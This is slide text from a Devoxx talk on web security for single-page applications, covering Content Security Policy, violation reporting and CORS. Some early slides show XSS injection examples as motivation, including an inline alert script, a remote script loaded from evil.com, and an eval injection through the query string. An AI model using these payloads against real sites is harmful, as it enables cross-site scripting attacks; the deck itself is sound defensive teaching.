#Devoxx #SecureSPA @PhilippeDeRyck
The Essence of CSP
CSP reduces the harm of content injection vulnerabilities
By telling the client where resources should be loaded from
By disabling dangerous features by default
CSP is intended as a second line of defense
A policy consists of a set of directives
Each directive controls a different kind of resource
Policy is delivered as an HTTP header by the server
Compatible browsers will enforce the policy on the response
#Devoxx #SecureSPA @PhilippeDeRyck
Introducing CSP by Example
XSS WITH INLINE SCRIPTS
<h1>You searched for<script>alert(XSS);</script></h1>
XSS WITH REMOTE SCRIPTS
<h1>You searched for
<script src=https://evil.com/hackme.js></script>
</h1>
XSS WITH EVAL
eval('alert("Your query string was '
+ unescape(document.location.search) //hello%22);alert(1+%22
+ '");');
#Devoxx #SecureSPA @PhilippeDeRyck
Introducing CSP by Example
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
script-src self
https://cdnjs.cloudflare.com;
#Devoxx #SecureSPA @PhilippeDeRyck
Content Security Policy
CSP started as a research paper by the Mozilla team
Aim to give administrator control over appearance of site
Aim to give users some confidence where data is sent to
Even in the presence of an attacker that controls content
By default, CSP will:
Prevent resources from being loaded from non-whitelisted locations
The use of eval()
Inline content from being executed
Scripts and styles
#Devoxx #SecureSPA @PhilippeDeRyck
Introducing CSP by Example
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
script-src self
https://cdnjs.cloudflare.com;
style-src self
https://cdnjs.cloudflare.com//bootstrap.min.css;
104
#Devoxx #SecureSPA @PhilippeDeRyck
CSP is the Security Policy of the Future
CSP has been well received, and evolved quickly
Addition of plugin types, sandbox, child contexts, form destinations
Additional spec adds UI Security Directives
Deprecates X-FRAME-OPTIONS header
Additional features to overcome implementation hurdles
Widely supported by browsers
Chrome makes CSP mandatory for its components
Browser extensions and packaged apps
#Devoxx #SecureSPA @PhilippeDeRyck
CSP is the Security Policy of the Future
http://caniuse.com/#search=csp
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Overview of CSPs Directives
By default, CSP will:
Prevent resources from being loaded from non-whitelisted locations
default-src
Specifies the default sources of all content
Can be overwritten with more specific directives for each type
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Overview of CSPs Directives
img-src, style-src, font-src, child-src, media-src, object-src
Specifies the sources of these content types
connect-src, form-action
Specifices the destination of these actions
Sandbox and frame-ancestors
#Devoxx #SecureSPA @PhilippeDeRyck
Revisiting the CSP Example
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
script-src self
https://cdnjs.cloudflare.com;
style-src self
https://cdnjs.cloudflare.com//bootstrap.min.css;
#Devoxx #SecureSPA @PhilippeDeRyck
Obeying CSPs Content Restrictions
EXTERNALIZED SCRIPT
function run() {
alert('booh!');
}
document.addEventListener('DOMContentReady',
function () {
document.getElementById('myLink')
.addEventListener('click', run);
});
INLINE SCRIPT
<script>
function run() { EXTERNALIZED SCRIPT
alert(booh!');
} <script src="myscript.js"></script>
</script> <a href="#" id="myLink">...</a>
<a href="#" onclick="run()"></a>
#Devoxx #SecureSPA @PhilippeDeRyck
Lifting Content Restrictions in CSP
script-src and style-src support the lifting of restrictions
By specifying unsafe-inline and unsafe-eval
Not recommended, as this renders protection useless
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
script-src self unsafe-inline
https://cdnjs.cloudflare.com;
style-src self
https://cdnjs.cloudflare.com//bootstrap.min.css;
#Devoxx #SecureSPA @PhilippeDeRyck
Lifting Content Restrictions in CSP
CSP Level 2 supports nonces and hashes
Inline script and style blocks can be allowed
EXAMPLE POLICY WITH A NONCE
Content-Security-Policy:
script-src self nonce-RANDOM;
EXAMPLE USE OF A NONCE
<script nonce=RANDOM></script>
#Devoxx #SecureSPA @PhilippeDeRyck
Lifting Content Restrictions in CSP
CSP Level 2 supports nonces and hashes
Inline script and style blocks can be allowed
EXAMPLE POLICY WITH A NONCE
Content-Security-Policy:
script-src self nonce-a8qzj1r;
EXAMPLE USE OF A NONCE
<script nonce=a8qzj1r></script>
#Devoxx #SecureSPA @PhilippeDeRyck
CSP is the Security Policy of the Future
http://caniuse.com/#search=csp
#Devoxx #SecureSPA @PhilippeDeRyck
CSP Examples
Goal: Load no external resources
EXAMPLE POLICY
Content-Security-Policy:
default-src self;
Goal: Only allow HTTPS content
EXAMPLE POLICY
Content-Security-Policy:
default-src https: unsafe-inline unsafe-eval;
#Devoxx #SecureSPA @PhilippeDeRyck
CSP and JS MVC Frameworks
Default behavior of MVC frameworks is not CSP compatible
Dependent on string-to-code functionality
Requires unsafe-eval in CSP, which kind of misses the point
#Devoxx #SecureSPA @PhilippeDeRyck
CSP and JS MVC Frameworks
Default behavior of MVC frameworks is not CSP compatible
Dependent on string-to-code functionality
Requires unsafe-eval in CSP, which kind of misses the point
However, frameworks are catching up quickly
EmberJS enables CSP by default when you create a new app
#Devoxx #SecureSPA @PhilippeDeRyck
EmberJS Enables CSP by Default
Taken care of by ember-cli-content-security-policy
CSP policy can be updated through environment.js
UPDATING THE EMBERJS CSP POLICY
ENV.contentSecurityPolicyHeader = "Content-Security-Policy"
ENV.contentSecurityPolicy = {
'default-src': "'none'",
'script-src': "'self https://",
}
#Devoxx #SecureSPA @PhilippeDeRyck
EmberJS Enables CSP by Default
EMBERJS DEFAULT CSP POLICY
Content-Security-Policy-Report-Only:
default-src none';
script-src self;
font-src self;
img-src self;
style-src self;
media-src self;
connect-src self http://0.0.0.0:4200/csp-report;
report-uri http://0.0.0.0:4200/csp-report;
119
#Devoxx #SecureSPA @PhilippeDeRyck
CSP and JS MVC Frameworks
Default behavior of MVC frameworks is not CSP compatible
Dependent on string-to-code functionality
Requires unsafe-eval in CSP, which kind of misses the point
However, frameworks are catching up quickly
EmberJS enables CSP by default when you create a new app
AngularJS offers a special CSP mode, making it compatible with CSP
CSP-COMPLIANT ANGULARJS
<html ng-app ng-csp> </html>
#Devoxx #SecureSPA @PhilippeDeRyck
Enabling Dynamic Behavior with CSP
So how does AngularJS process event handlers?
Parse ng-attributes
Create anonymous functions, connected with events
Wait for event handler to fire
$element.onclick = function($event) {
$event[view][alert](1)
}
Technically, not inline, and no eval()
https://code.google.com/p/mustache-security/
#Devoxx #SecureSPA @PhilippeDeRyck
Enabling Dynamic Behavior with CSP
Sometimes, styles need to be applied dynamically from JS
Triggers CSP warnings, requiring the use of unsafe-inline for styles
#Devoxx #SecureSPA @PhilippeDeRyck
Enabling Dynamic Behavior with CSP
Fixed by using DOM manipulation
Not inline style, because this can not be injected directly
Would require a script injection attack first, which CSP also covers
#Devoxx #SecureSPA @PhilippeDeRyck
Wrapping Up CSP
CSP gives you control over what happens in your app context
Requires you to follow some coding guidelines
Can be really powerful
JS MVC frameworks aim for compatibility with CSP
AngularJS and EmberJS do this really well
Take advantage of this capability and start working on your policy
CSPs reporting mode is great to start building a policy
#Devoxx #SecureSPA @PhilippeDeRyck
CSP Violation Reports
CSP can report violations back to the resource server
Allows for fine-tuning of the CSP policy
Gives insights in actual attacks
Enabled by using the report-uri directive
EXAMPLE POLICY
Content-Security-Policy:
default-src 'self';
report-uri http://some-shop.com/csp-report.cgi
#Devoxx #SecureSPA @PhilippeDeRyck
CSP Violation Report Example
EXAMPLE VIOLATION REPORT
{
"csp-report": {
"document-uri": "http://some-shop.com/page.html",
"referrer": "http://attacker.com/haxor.html",
"blocked-uri": "http://attacker.com/image.png",
"violated-directive": "default-src 'self'",
"effective-directive": "img-src",
"original-policy": "default-src 'self';
report-uri http://some-shop.com/csp-report.cgi"
}
}
#Devoxx #SecureSPA @PhilippeDeRyck
CSP in Report-Only Mode
CSP can be deployed in reporting mode
No content will be blocked
Warnings will be generated in console
If report-uri is specified, error reports will be sent
Great for trying out policies before deploying them
REPORT-ONLY POLICY
Content-Security-Policy-Report-Only:
default-src 'self';
report-uri http://some-shop.com/csp-report.cgi
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
What can CSP do for you?
What do you need to do for CSP?
How does CSP cooperate with JS MVC frameworks?
Cross-Origin Resource Sharing (CORS)
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
Resource sharing across origins
Protecting legacy servers
Expanding the reach of CORS to HTML elements
#Devoxx #SecureSPA @PhilippeDeRyck
Web Applications Did not Rely on APIs
Create New Task
Description: POST newItem.php
Cooking
Parse request
Deadline: 25/02/2015
Add to List Store data
Retrieve all data
Overview
Deadline Task
Generate HTML
25/02/2015 Cooking <html>
30/03/2015 B-day party
</html>
Send response
Add New
#Devoxx #SecureSPA @PhilippeDeRyck
And Browsers Would Get Mad
#Devoxx #SecureSPA @PhilippeDeRyck
But Things Started to Change
Developers wanted to share data across applications
E.g. Google services, Facebooks Graph API,
Even though this was not intended behavior on the Web
Dire situations are ideal to spark creativity
Developers found ways to do it, behind the browsers back
Using server-side proxies
Using JSONP
#Devoxx #SecureSPA @PhilippeDeRyck
Server-Side Proxies
Load page
XHR: Load content
from websec.be Load page
www.example.com www.websec.be
#Devoxx #SecureSPA @PhilippeDeRyck
JSONP JSON with Padding
<script src=http://www.websec.be/data?callback=showUsers>
</script>
www.example.com
Load page
Load script
from websec.be
www.websec.be
showUsers([{"id": 1, "name": "Philippe"},
{"id": 2, "name": "NotPhilippe"}]);
#Devoxx #SecureSPA @PhilippeDeRyck
Things Became a Mess
The landscape started to evolve very quickly
More and more companies started offering APIs
More and more applications started integrating APIs
The hacks being used in practice suffer from severe security issues
Essentially, it was time to offer API access by design
So just allow XHR to access APIs on another origin
This is exactly what Cross-Origin Resource Sharing does
But it needs 22 pages of specification to do so
#Devoxx #SecureSPA @PhilippeDeRyck
Simply Allowing XHR across Origins
www.example.com
Load page
XHR: load users
profile from websec.be
www.websec.be
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.websec.be/profile', false);
xhr.send();
// Access the profile data
alert(xhr.responseText);
#Devoxx #SecureSPA @PhilippeDeRyck
Simply Allowing XHR across Origins
www.example.com
Load page
XHR: load users
profile from websec.be
www.websec.be
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.websec.be/profile', false);
xhr.send();
// Access the profile data
alert(xhr.responseText);
#Devoxx #SecureSPA @PhilippeDeRyck
Simply Allowing XHR across Origins
www.example.com
Load page
XHR: load users
profile from websec.be
www.websec.be
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.websec.be/profile', false);
xhr.send();
// Access the profile data
alert(xhr.responseText);
#Devoxx #SecureSPA @PhilippeDeRyck
Simply Allowing XHR across Origins
www.example.com
Load page
XHR: load users
profile from websec.be
www.websec.be
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.websec.be/profile', false);
xhr.send();
// Access the response data
alert(xhr.getAllResponseHeaders());
#Devoxx #SecureSPA @PhilippeDeRyck
Cross-Origin XHR Is Dangerous!
Which is why CORS puts some restrictions in place
CORS allows the server to tell the browser that a
resource can be accessed by a specific origin
The browser enforces these checks on the XHR call
If everything is OK, access to the resource (response) is granted
Otherwise, access is denied
#Devoxx #SecureSPA @PhilippeDeRyck
Simple CORS Example
www.example.com
Load page
XHR: load users profile from websec.be
Origin: http://www.example.com
Access-Control-Allow-Origin:
http://www.example.com www.websec.be
#Devoxx #SecureSPA @PhilippeDeRyck
Handling Credentials
Requests can be anonymous or authenticated
By default, credentials (i.e. cookies) are not sent
Can be enabled by setting the withCredentials flag
When credentials are used, the server must acknowledge this
By sending the Access-Control-Allow-Credentials response header
Aim is to prevent illegitimate use of the users credentials
Not intended to protect the server from malicious requests
#Devoxx #SecureSPA @PhilippeDeRyck
Simple CORS Example with Credentials
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.websec.be/profile', false);
xhr.withCredentials = true;
xhr.send();
www.example.com
Load page
XHR: load users profile from websec.be
Origin: http://www.example.com
Cookie: PHPSESSID=1a2b3c4d5e6f
Access-Control-Allow-Origin:
http://www.example.com www.websec.be
Access-Control-Allow-Credentials: true
#Devoxx #SecureSPA @PhilippeDeRyck
Elegantly Dealing with Legacy Servers
www.example.com
Load page
XHR: load users profile from websec.be
Origin: http://www.example.com
www.websec.be
#Devoxx #SecureSPA @PhilippeDeRyck
Elegantly Dealing with Legacy Servers
#Devoxx #SecureSPA @PhilippeDeRyck
But There Is More
www.example.com
Load page
XHR: delete users profile from websec.be
Origin: http://www.example.com
Absence of header means that this is not allowed
www.websec.be
var xhr = new XMLHttpRequest();
xhr.open(DELETE', 'http://www.websec.be/profile/1', false);
xhr.send();
// Access to the response is denied
#Devoxx #SecureSPA @PhilippeDeRyck
But There Is More
Denying access to the response protects sensitive data
Prevents an attacker from reading the users data
But data retrieval is a stateless operation on the server side
Most APIs also offer operations that trigger state changes
Creating, updating and deleting resources
Denying access to the response does not really cut it here
Such cross-origin requests need to be explicitly approved
#Devoxx #SecureSPA @PhilippeDeRyck
And Thats why CORS Is Complicated
With CORS, plenty of security assumptions change
Access to the response of cross-origin GET requests was impossible
Cross-origin PUT and DELETE requests used to be impossible
Cross-origin POST requests were limited to form fields
CORS needs to ensure that these assumptions stay true
Otherwise, countless legacy servers become vulnerable
#Devoxx #SecureSPA @PhilippeDeRyck
Simple and Non-Simple Requests
Simple requests are requests that were already possible
E.g. a cross-origin POST request through a form submission
For these requests, it suffices to protect the data in the response
Non-simple requests add new capabilities
E.g. a cross-origin DELETE request
Here, the browser can only send the request if the server expects it
CORS addresses this problem with a preflight request
#Devoxx #SecureSPA @PhilippeDeRyck
The Flow of a Preflight Request
www.example.com
Load page
Check if delete is allowed
OPTIONS /profile/1 HTTP/1.1
Origin: http://www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Allow-Origin: http://www.example.com
Access-Control-Allow-Methods: GET, PUT, DELETE
Actual delete
DELETE /profile/1 HTTP/1.1
Origin: http://www.example.com
Access-Control-Allow-Origin: http://www.example.com
www.websec.be
#Devoxx #SecureSPA @PhilippeDeRyck
Preflight Configuration Options
The preflight request asks for permission
Based on the data that will be sent with the actual request
CORS preflight request headers
Origin
Access-Control-Request-Method
Specify the method that will be used for the non-simple request
Access-Control-Request-Headers
Specify which custom headers will be added to the request
#Devoxx #SecureSPA @PhilippeDeRyck
Preflight Configuration Options
CORS response headers on preflight requests
Access-Control-Allow-Origin
Access-Control-Allow-Methods
Indicate which methods can be used for the actual request
Access-Control-Allow-Headers
Indicate which request headers can be used for the actual request
Access-Control-Max-Age
Indicate how long this response should be cached
Access-Control-Allow-Credentials
Indicate if the actual request can include credentials
#Devoxx #SecureSPA @PhilippeDeRyck
Preflight Configuration Options
CORS response headers on actual requests
Access-Control-Allow-Origin
Access-Control-Expose-Headers
Indicate which response headers the browser can expose
Access-Control-Allow-Credentials
Indicate if the response can be exposed if credentials are used
#Devoxx #SecureSPA @PhilippeDeRyck
Preflight Requests in Practice
Server configuration
Developer needs to specify a policy
Plenty of frameworks/middleware offers the automatic configuration
For efficiency reasons, preflights are cached by the browser
Eliminates an additional round trip for the lifetime of the entry
Mandatory if you use custom headers (e.g. JWT tokens)
CORS only allows cookies without preflight for simple requests
#Devoxx #SecureSPA @PhilippeDeRyck
CORS in Practice
Virtually all modern browsers are CORS-enabled
http://caniuse.com/#search=cors
#Devoxx #SecureSPA @PhilippeDeRyck
CORS in Practice
Virtually all modern browsers are CORS-enabled
Many server-side frameworks support CORS configuration
Many publicly available APIs are CORS-enabled
And many
more
#Devoxx #SecureSPA @PhilippeDeRyck
How Can You Join Them?
By configuring your own CORS policy!
Some guidelines
Protect resources that should not be accessed by other origins
Do not return any CORS headers
Publicly accessible, non-sensitive resources are available to all
Access-Control-Allow-Origin: *
JavaScript files that do not contain sensitive data or comments
Access-Control-Allow-Origin: *
#Devoxx #SecureSPA @PhilippeDeRyck
How Can You Join Them?
If the request carries credentials
Verify if the value of the Origin header matches an accepted origin
If not, abort without sending any headers
Verify if the user is authorized to access the requested resource
Take the method and custom headers into account
If not, abort without sending any headers
Process the request, and send the appropriate headers
Access-Control-Allow-Origin: http://www.example.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-API-VERSION
#Devoxx #SecureSPA @PhilippeDeRyck
CORS beyond XHR
CORS stands for Cross-Origin Resource Sharing
It has uses beyond accessing APIs with XHR
Protects illegitimate access to sensitive cross-origin resources
CORS is essential in several HTML5 elements
Prevents arbitrary origins from extracting information
Applies to the canvas element (images and videos)
Applies to metadata that is part of a multimedia elements
E.g. subtitles of a video
#Devoxx #SecureSPA @PhilippeDeRyck
HTML5 Canvas without CORS
Get image
<img src= />
Get image
<canvas>
</canvas>
Context: www.example.com img.onload = function() { www.websec.be
canvas.width = img.width;
canvas.height = img.height;
ctx.drawImage( img, 0, 0 );
}
#Devoxx #SecureSPA @PhilippeDeRyck
HTML5 Canvas without CORS
Get image
<img src= />
Get image
<canvas>
</canvas>
// Get
Context: the CanvasPixelArray from the given coordinates and
www.example.com dimensions.
www.websec.be
var imgd = context.getImageData(x, y, width, height);
var pix = imgd.data;
// Extract as Data URI
canvas.toDataURL("image/png);
#Devoxx #SecureSPA @PhilippeDeRyck
HTML5 Canvas with CORS
Get image
Origin: http://www.example.com
<canvas>
</canvas>
Access-Control-Allow-Origin:
http://www.example.com
Context: www.example.com www.websec.be
var img = new Image();
img.crossOrigin = "Anonymous"; //or "use-credentials
img.src = "http://www.websec.be/topsecret.png";
#Devoxx #SecureSPA @PhilippeDeRyck
Presentation Overview
Session Management
Cross-Site Scripting (XSS)
Content Security Policy (CSP)
Cross-Origin Resource Sharing (CORS)
Resource sharing across origins
Protecting legacy servers
Expanding the reach of CORS to HTML elements
#Devoxx #SecureSPA @PhilippeDeRyck
Single Page Applications
Single Page Applications differ from traditional applications
Typically run on a client-side JavaScript MVC framework
Have a lot more responsibilities than traditional HTML pages
But take a lot of the burden from the developer
SPAs are backed by a data-driven server-side API
More focused and more concise API
Allows for better testing and API reuse across applications
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Recap
Two approaches to session management
Server-side sessions give you the most control, but require state
Client-side sessions give you more flexibility, but require integrity
Two common transport mechanisms for session information
Cookies are widely supported in browsers, but suffer from CSRF
Tokens require a bit more effort, but fit better in an API landscape
Constantly evaluate your security assumptions!
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Recap
You should be really really frightened by XSS
An excellent attack vector for your worst nightmare
We are at a point where we can eradicate XSS
Mitigating XSS is not difficult, but consistently doing it everywhere is
Many JS MVC frameworks do this for you, let them
Deploying a CSP policy tightens your security even further
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Recap
Content Security Policy puts you back in control
It may seem very complex when you look at it, but it really is not
Follow a few coding guidelines, and you will be able to deploy CSP
Lock down what comes in to your client-side app, and what gets out
Use CSPs reporting mode to be warned of potential threats
Catch bugs during development (e.g. loading non-HTTPS resources)
Catch potential malware within the users browser
CSP does not relieve you from mitigating XSS!
#Devoxx #SecureSPA @PhilippeDeRyck
A Quick Recap
CORS makes the use of cross-origin APIs possible by design
Careful consideration went into developing this security policy
Benefit from CORS by understanding how it works
Make your API CORS-compliant
Expose the public parts for everyone to build a better Web
Lock down the private parts for your origins only
CORS does not replace server-side authorization!
#Devoxx #SecureSPA @PhilippeDeRyck
The Times They Are a-Changin
Traditional browser security is at the core of the Web
Server-driven client-side security policies are the future
Augment the traditional security policies with the necessary context
Custom security policy, specifically tailored towards the application
They give you the power to build secure applications
Give you control over what happens in your application
Take advantage of these capabilities!
#Devoxx #SecureSPA @PhilippeDeRyck
Progressive Web Security Training Course
4 topics, 4 hands-on training days
Starting from November 19, 1 session each week
https://goo.gl/17hVTa
#Devoxx #SecureSPA @PhilippeDeRyck